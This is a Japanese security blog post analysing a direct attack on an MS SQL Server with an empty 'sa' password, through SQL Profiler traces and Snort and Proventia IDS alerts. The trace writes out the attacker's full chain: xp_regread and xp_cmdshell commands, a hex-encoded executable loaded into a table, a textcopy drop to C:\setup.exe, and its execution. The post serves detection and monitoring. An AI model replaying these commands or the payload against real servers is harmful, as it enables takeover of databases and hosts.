■あまてらす
先週の「セキュリティTIPS講座」で習ったSQLサーバの監視手法について確認を行いました。
今回は、Webアプリを経由した攻撃ではなく、直接SQLサーバに対する攻撃をトレースしました。
なので本来のSQLインジェクション攻撃とはログの出力結果に差異がある可能性があります・・・
(プロファイラを使うのが初めてなのでご容赦ください)
驚いた事が「ApplicationName」のカラムに攻撃ツール名前が表示される為、
不正なアクセスであるかどうかは、見分ける判断材料になりそうです。
今回の検証でも「ApplicationName」に中国語名のツールが表示されていました。
TexDataに入力されたコマンドが表示されます。
※「セキュリティTIPS講座」については、以下のURLをご覧下さい。
http://ameblo.jp/amaterasu/entry-10007276390.html
■プロファイラーの画面
■プロファイラーの詳細ログ
SQL:BatchCompleted 2005-12-20 13:27:48.467 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:48.640 declare @P1 int
set @P1=1
exec sp_prepare @P1 output, NULL, N'EXEC master..xp_regread ''HKEY_LOCAL_MACHINE'',''SOFTWARE\Microsoft\MSSQLServer\Setup'', ''SQLPath''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:48.827 SET FMTONLY ON exec sp_execute 1 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:50.623 exec sp_unprepare 1
SQL:BatchCompleted 2005-12-20 13:27:50.763 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:50.903 EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup', 'SQLPath'
SQL:BatchCompleted 2005-12-20 13:27:51.797 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:51.937 declare @P1 int
set @P1=2
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo @echo on > %SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:52.060 SET FMTONLY ON exec sp_execute 2 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:52.217 exec sp_unprepare 2
SQL:BatchCompleted 2005-12-20 13:27:52.343 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:52.500 exec master..xp_cmdshell 'echo @echo on > %SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:27:52.687 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:52.827 declare @P1 int
set @P1=3
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo C: >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:52.967 SET FMTONLY ON exec sp_execute 3 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:53.107 exec sp_unprepare 3
SQL:BatchCompleted 2005-12-20 13:27:53.247 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:53.390 exec master..xp_cmdshell 'echo C: >>%SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:27:53.590 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:53.733 declare @P1 int
set @P1=4
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo cd C:\Program Files\Microsoft SQL Server\MSSQL\Binn\ >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:53.920 SET FMTONLY ON exec sp_execute 4 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:54.060 exec sp_unprepare 4
SQL:BatchCompleted 2005-12-20 13:27:54.200 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:54.340 exec master..xp_cmdshell 'echo cd C:\Program Files\Microsoft SQL Server\MSSQL\Binn\ >>%SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:27:54.530 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:55.187 declare @P1 int
set @P1=5
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''echo Copy TextCopy.exe %SystemRoot%\System32\ /y >>%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:55.327 SET FMTONLY ON exec sp_execute 5 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:55.467 exec sp_unprepare 5
SQL:BatchCompleted 2005-12-20 13:27:55.607 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:55.747 exec master..xp_cmdshell 'echo Copy TextCopy.exe %SystemRoot%\System32\ /y >>%SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:27:55.937 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:56.077 declare @P1 int
set @P1=6
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''%SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:56.263 SET FMTONLY ON exec sp_execute 6 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:56.390 exec sp_unprepare 6
SQL:BatchCompleted 2005-12-20 13:27:56.530 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:27:56.670 exec master..xp_cmdshell '%SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:27:57.653 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:27:59.170 declare @P1 int
set @P1=7
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''Del %SystemRoot%\temp\winpos.cmd ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:27:59.310 SET FMTONLY ON exec sp_execute 7 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:27:59.450 exec sp_unprepare 7
SQL:BatchCompleted 2005-12-20 13:28:00.153 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:01.590 exec master..xp_cmdshell 'Del %SystemRoot%\temp\winpos.cmd '
SQL:BatchCompleted 2005-12-20 13:28:06.717 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:06.857 declare @P1 int
set @P1=8
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''DIR C:\ ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:28:06.997 SET FMTONLY ON exec sp_execute 8 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:28:07.140 exec sp_unprepare 8
SQL:BatchCompleted 2005-12-20 13:28:07.280 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:07.437 exec master..xp_cmdshell 'DIR C:\ '
SQL:BatchCompleted 2005-12-20 13:28:22.077 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:22.217 declare @P1 int
set @P1=9
exec sp_prepare @P1 output, NULL, N'DROP TABLE winposdb8
', 1
select @P1
RPC:Completed 2005-12-20 13:28:22.403 exec sp_unprepare 9
SQL:BatchCompleted 2005-12-20 13:28:22.547 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:23.123 DROP TABLE winposdb8
SQL:BatchCompleted 2005-12-20 13:28:24.543 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:24.687 declare @P1 int
set @P1=10
exec sp_prepare @P1 output, NULL, N'CREATE TABLE [winposdb8] (
[id] [int] NULL ,
[Files] [Image] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
', 1
select @P1
RPC:Completed 2005-12-20 13:28:24.890 exec sp_unprepare 10
SQL:BatchCompleted 2005-12-20 13:28:25.030 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:25.170 CREATE TABLE [winposdb8] (
[id] [int] NULL ,
[Files] [Image] NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
SQL:BatchCompleted 2005-12-20 13:28:25.590 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:28:25.733 declare @P1 int
set @P1=11
exec sp_prepare @P1 output, NULL, N'insert into winposdb8 (id) values (1)
', 1
select @P1
RPC:Completed 2005-12-20 13:28:26.717 exec sp_unprepare 11
SQL:BatchCompleted 2005-12-20 13:28:26.857 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:28:26.983 insert into winposdb8 (id) values (1)
SQL:BatchCompleted 2005-12-20 13:28:27.217 SET NO_BROWSETABLE ON
SQL:BatchCompleted 2005-12-20 13:28:27.903 select * from winposdb8
RPC:Completed 2005-12-20 13:29:38.840 exec sp_executesql N'UPDATE "Master".."winposdb8" SET "Files"=@P1
WHERE "id"=@P2'
, N'@P1
image,@P2 int', 0x300078003400440035004100340030003000300030003100300030003000300030003000300032003000300030003000300030004600460046004600300030003000300030003000300032003000300030003000300030003000300030003000300030003400300030003000300030004500390030003000300030003000300030003000420034003000390042004100300042003000310043004400320031004200340034004300430044003200310035003000370032003600460037003400360035003600330037003400360035003600340032003000340032003700390032003000330030003300300033003700320034003400300030003000300030003000300035003000340035003000300030003000340043003000310030003300300030003200370035004500340032003200410030003000300030003000300030003000300030003000300030003000300030004500300030003000380046003800310030004200300031003000320031003900300030003000300030003000300030003000300037003000300034003000300030003000380030003000430030003000300039004300390030004300300030003000300031003000300030003000300030003000390030003000430030003000300030003000300034003000300030003000300031003000300030003000300030003000300032003000300030003000300034003000300030003000300030003000300030003000300030003000300030003400300030003000300030003000300030003000300030003000300030003000300031003000310031003000300030003000300034003000300030003000300030003000300030003000300030003000320030003000300030003000300030003000300030003100300030003000300030003400300030003000300030003000300030003000310030003000300030003000310030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003500300041004600300043003000300046003400300031003000300030003000300030003900300030004300300030004300300031004300300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200300030004200300030003800340041003600300030003000300030003000300030003000300030003000300030003000300030003000300030003100380031003000300042003000300030004200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300033003200460042003100300030003000310038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003600440036003900360031003600450033003000300030003000300030003000300030003800300030004300300030003000300031003000300030003000300030003000300030003000300030003000300030003000320030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003600300030003000300030004500300036004400360039003600310036004500330031003000300030003000300030003000300037003000300034003000300030003000390030003000430030003000300030003600430030003400300030003000300030003200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300036003000300030003000300045003000360044003600390036003100360045003300320030003000300030003000300032004500300046003000300030003000300030003000300031003100300030003000300030003000300030003000300030003000300032003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000360030003000300030003000450030003100380031003000300042003000300030004200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000310030003000420030003000310038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003400330034004600340034003400350030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300031003000300030003900300030003100300030004300300030003800300036003000300030003000300038003000300031003000300030003000300030004100300030003000300030003800300030003200300030003000300030003000300030003000320030003000380030003000330030003000300030003000300032003000300034003000300038003000300035003000300030003000300030003600300030003400300030003800300030003600300030003000300030003000410030003000340030003000380030003000410030003000300030003000300033003000300039003000300038003000300043003000300030003000300030003300300030004100300030003800300030004500300030003000300030003000390030003000420030003000380030003100300030003000300030003000300044003000300042003000300038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300031003000300030003000300030003200300030004300300030003800300037003800300030003000300038003000300030003000300030003000300030003000300030003000300030003000300034003200360046003600440036003500300030003000300030003100300030003000300030003000300030003000300039003000300030003000300030003000360034004400440030004200300030003000360030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300037003000300030003100300030003000300030003000450038003000300030003000380030003000320030003000300030003000300031003000300031003000300038003000300033003000300030003000300030003300380030003100300030003800300030003400300030003000300030003000360030003000310030003000380030003000350030003000300030003000300038003800300031003000300038003000300036003000300030003000300030004200300030003100300030003800300030003700300030003000300030003000440038003000310030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000300030003000310030003000300030003600430044004400300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003200380030003100300030003000300041003000440045003000420030003000330034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300035003000300031003000300030003000440034004400460030004200300030003300340030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000370038003000310030003000300030003000380045003100300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030004100300030003100300030003000300033004300450032003000420030003000330034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300043003800300031003000300030003000370030004500330030004200300030003300340030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000460030003000310030003000300030004100340045003400300042003000300033003400300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030004200300030003000300030003000320038003000430030003000380030003600380030003200300030003800300033003800300043003000300038003000390030003000320030003000380030003400340030004300300030003800300042003800300032003000300038003000350038003000430030003000380030004500300030003200300030003800300036003800300043003000300038003000300038003000330030003000380030003700380030004300300030003800300033003000300033003000300038003000380043003000430030003000380030003500380030003300300030003800300039003800300043003000300038003000380030003000330030003000380030004100340030004300300030003800300041003800300033003000300038003000420034003000430030003000380030004400300030003300300030003800300043003000300043003000300038003000460038003000330030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000380030003000320030003000300030004400380045003500300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030004100380030003200300030003000300041003800450037003000420030003000450034003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300044003000300032003000300030003000380043004500390030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000460038003000320030003000300030003500430045004200300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003200300030003300300030003000300032004300450044003000420030003000440030003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300034003800300033003000300030003000460043004500450030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000370030003000330030003000300030004300430046003000300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003900380030003300300030003000300039004300460032003000420030003000440030003000310030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300043003000300033003000300030003000360043004600340030004200300030004400300030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000450038003000330030003000300030003300430046003600300042003000300044003000300031003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000300030003000300030003000300030003100300030003400300030003000300030004300460038003000420030003000450038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003100300030003000310030003000300030003000300033003800300034003000300038003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003100300030003000340030003800300030003000300035003000300034003000300030003000310038004100300030004300300030004100380030004300300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000310030003000300030003000300044004300300043003000300038003000370038003000340030003000380030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000390030003000340030003000300030003900430030003500300043003000300035003200300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003100380030003000450039003000460030003000300030003700300030003500300030003800300045004100300046003000300030003000390038003000350030003000380030004500420030004600300030003000300043003000300035003000300038003000450043003000460030003000300030004500380030003500300030003800300045004400300046003000300030003000310030003000360030003000380030004500450030004600300030003000300033003800300036003000300038003000450046003000460030003000300030003600300030003600300030003800300046003000300046003000300030003000380038003000360030003000380030004600310030004600300030003000300042003000300036003000300038003000460032003000460030003000300030004400380030003600300030003800300046003300300046003000300030003000300030003000370030003000380030004600340030004600300030003000300032003800300037003000300038003000460035003000460030003000300030003500300030003700300030003800300046003600300046003000300030003000370038003000370030003000380030004600370030004600300030003000300041003000300037003000300038003000460038003000460030003000300030004300380030003700300030003800300046003900300046003000300030003000460030003000370030003000380030004600410030004600300030003000300031003800300038003000300038003000460042003000460030003000300030003400300030003800300030003800300046004300300046003000300030003000360038003000380030003000380030004600440030004600300030003000300039003000300038003000300038003000460045003000460030003000300030004200380030003800300030003800300046004600300046003000300030003000450030003000380030003000380030003000300031003000300030003000300030003800300039003000300038003000300030003000300030003000300030003200380042003800360038003300330030003000300030003000300030003000300030003000300030003100300030003000300030003000300030003000300038003800300035003000300030003000460030003000350030004300300030004500380030003100300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300032003800420038003600380033003300300030003000300030003000300030003000300030003000300031003000300030003000300030003000300030003000420030003000350030003000300030004400380030003700300043003000300045004300300033003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000320038004200380036003800330033003000300030003000300030003000300030003000300030003000310030003000, 1
RPC:Completed 2005-12-20 13:29:39.967 declare @P1 int
set @P1=12
exec sp_prepare @P1 output, NULL, N'Exec Master..xp_cmdshell ''textcopy /S 127.0.0.1 /U "sa" /P "" /D Master /T winposdb8 /C Files /W True /F C:\setup.exe /O''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:29:40.107 SET FMTONLY ON exec sp_execute 12 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:29:40.247 exec sp_unprepare 12
SQL:BatchCompleted 2005-12-20 13:29:40.390 SET NO_BROWSETABLE OFF
Audit Login 2005-12-20 13:29:40.983 textcopy -- network protocol: TCP/IP
set quoted_identifier off
set implicit_transactions off
set cursor_close_on_commit off
set ansi_warnings off
set ansi_padding off
set ansi_nulls off
set concat_null_yields_null off
set language 日本語
set dateformat ymd
set datefirst 7
SQL:BatchCompleted 2005-12-20 13:29:40.983 textcopy exec sp_server_info 18
SQL:BatchCompleted 2005-12-20 13:29:41.217 textcopy set textsize 2147483647
SQL:BatchCompleted 2005-12-20 13:29:41.263 textcopy use Master
SQL:BatchCompleted 2005-12-20 13:29:41.263 textcopy select Files from winposdb8 True
Audit Logout 2005-12-20 13:29:40.983 textcopy
SQL:BatchCompleted 2005-12-20 13:29:40.530 Exec Master..xp_cmdshell 'textcopy /S 127.0.0.1 /U "sa" /P "" /D Master /T winposdb8 /C Files /W True /F C:\setup.exe /O'
SQL:BatchCompleted 2005-12-20 13:29:46.653 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:29:46.797 declare @P1 int
set @P1=13
exec sp_prepare @P1 output, NULL, N'DROP TABLE winposdb8
', 1
select @P1
RPC:Completed 2005-12-20 13:29:46.937 exec sp_unprepare 13
SQL:BatchCompleted 2005-12-20 13:29:47.077 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:29:47.827 DROP TABLE winposdb8
SQL:BatchCompleted 2005-12-20 13:29:55.687 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:29:55.827 declare @P1 int
set @P1=14
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''DIR C:\ ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:29:55.967 SET FMTONLY ON exec sp_execute 14 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:29:56.107 exec sp_unprepare 14
SQL:BatchCompleted 2005-12-20 13:29:56.233 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:29:56.373 exec master..xp_cmdshell 'DIR C:\ '
SQL:BatchCompleted 2005-12-20 13:30:02.140 SET NO_BROWSETABLE ON
RPC:Completed 2005-12-20 13:30:02.937 declare @P1 int
set @P1=15
exec sp_prepare @P1 output, NULL, N'exec master..xp_cmdshell ''C:\setup.exe ''
', 1
select @P1
SQL:BatchCompleted 2005-12-20 13:30:03.077 SET FMTONLY ON exec sp_execute 15 SET FMTONLY OFF
RPC:Completed 2005-12-20 13:30:03.217 exec sp_unprepare 15
SQL:BatchCompleted 2005-12-20 13:30:03.357 SET NO_BROWSETABLE OFF
SQL:BatchCompleted 2005-12-20 13:30:03.497 exec master..xp_cmdshell 'C:\setup.exe '
Audit Logout 2005-12-20 13:27:48.293
■IDSによる検知ログ(snort)
[**] [1:686:9] MS-SQL xp_reg* - registry access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:23.044610 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:3728 IpLen:20 DgmLen:296 DF
***AP*** Seq: 0x9797D62E Ack: 0xCA3D7C85 Win: 0xFE74 TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=10642][Xref
=> http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0642][Xref
=> http://www.securityfocus.com/bid/5205
]
[**] [1:686:9] MS-SQL xp_reg* - registry access [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:25.331394 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4149 IpLen:20 DgmLen:240 DF
***AP*** Seq: 0x9797D7E1 Ack: 0xCA3D7D0C Win: 0xFDED TcpLen: 20
[Xref => http://cgi.nessus.org/plugins/dump.php3?id=10642][Xref
=> http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-0642][Xref
=> http://www.securityfocus.com/bid/5205
]
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:26.368317 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4304 IpLen:20 DgmLen:252 DF
***AP*** Seq: 0x9797D8DB Ack: 0xCA3D7DD4 Win: 0xFD25 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:26.932719 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4382 IpLen:20 DgmLen:196 DF
***AP*** Seq: 0x9797DA62 Ack: 0xCA3D7E5B Win: 0xFC9E TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:27.274481 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4413 IpLen:20 DgmLen:240 DF
***AP*** Seq: 0x9797DB30 Ack: 0xCA3D7EAA Win: 0xFC4F TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:27.840806 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4567 IpLen:20 DgmLen:184 DF
***AP*** Seq: 0x9797DCAB Ack: 0xCA3D7F31 Win: 0xFBC8 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:28.196236 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4622 IpLen:20 DgmLen:340 DF
***AP*** Seq: 0x9797DD6D Ack: 0xCA3D7F80 Win: 0xFB79 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:28.756713 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4678 IpLen:20 DgmLen:284 DF
***AP*** Seq: 0x9797DF4C Ack: 0xCA3D8007 Win: 0xFAF2 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:29.594502 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4767 IpLen:20 DgmLen:322 DF
***AP*** Seq: 0x9797E072 Ack: 0xCA3D8056 Win: 0xFAA3 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:30.160813 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4836 IpLen:20 DgmLen:266 DF
***AP*** Seq: 0x9797E23F Ack: 0xCA3D80DD Win: 0xFFA7 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:30.500596 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:4906 IpLen:20 DgmLen:220 DF
***AP*** Seq: 0x9797E353 Ack: 0xCA3D812C Win: 0xFF58 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:31.102089 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5045 IpLen:20 DgmLen:164 DF
***AP*** Seq: 0x9797E4BA Ack: 0xCA3D81B3 Win: 0xFED1 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:33.615415 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5504 IpLen:20 DgmLen:228 DF
***AP*** Seq: 0x9797E568 Ack: 0xCA3D83BF Win: 0xFCC5 TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:36.007714 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:5894 IpLen:20 DgmLen:172 DF
***AP*** Seq: 0x9797E6D7 Ack: 0xCA3D8446 Win: 0xFC3E TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:41.282376 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:6817 IpLen:20 DgmLen:178 DF
***AP*** Seq: 0x9797E78D Ack: 0xCA3D8495 Win: 0xFBEF TcpLen: 20
[**] [1:687:5] MS-SQL xp_cmdshell - program execution [**]
[Classification: Attempted User Privilege Gain] [Priority: 1]
12/20-13:27:41.840896 ***.***.255.139:1455 -> 192.168.37.180:1433
TCP TTL:109 TOS:0x0 ID:6937 IpLen:20 DgmLen:122 DF
***AP*** Seq: 0x9797E8CA Ack: 0xCA3D851C Win: 0xFB68 TcpLen: 20
■IDSによる検知(Prventia)
| High | 2005-12-20 13:22:04 JST | SQL_Empty_Password | ***.125.195.119 | 1161 | 192.168.221.180 | 1433 | LOEVOIP |
| Low | 2005-12-20 13:22:04 JST | SQL_Login | ***.125.195.119 | 1161 | 192.168.221.180 | 1433 | LOEVOIP |
| Low | 2005-12-20 13:23:58 JST | SQL_Login | ***.125.195.119 | 2853 | 192.168.221.180 | 1433 | LOEVOIP |
| High | 2005-12-20 13:23:58 JST | SQL_Empty_Password | ***.125.195.119 | 2853 | 192.168.221.180 | 1433 | LOEVOIP |
| Low | 2005-12-20 13:28:02 JST | SQL_Login | ***.91.255.139 | 1455 | 192.168.221.180 | 1433 | GAME-RRVF1J2T9Q |
| High | 2005-12-20 13:28:02 JST | SQL_Empty_Password | ***.91.255.139 | 1455 | 192.168.221.180 | 1433 | GAME-RRVF1J2T9Q |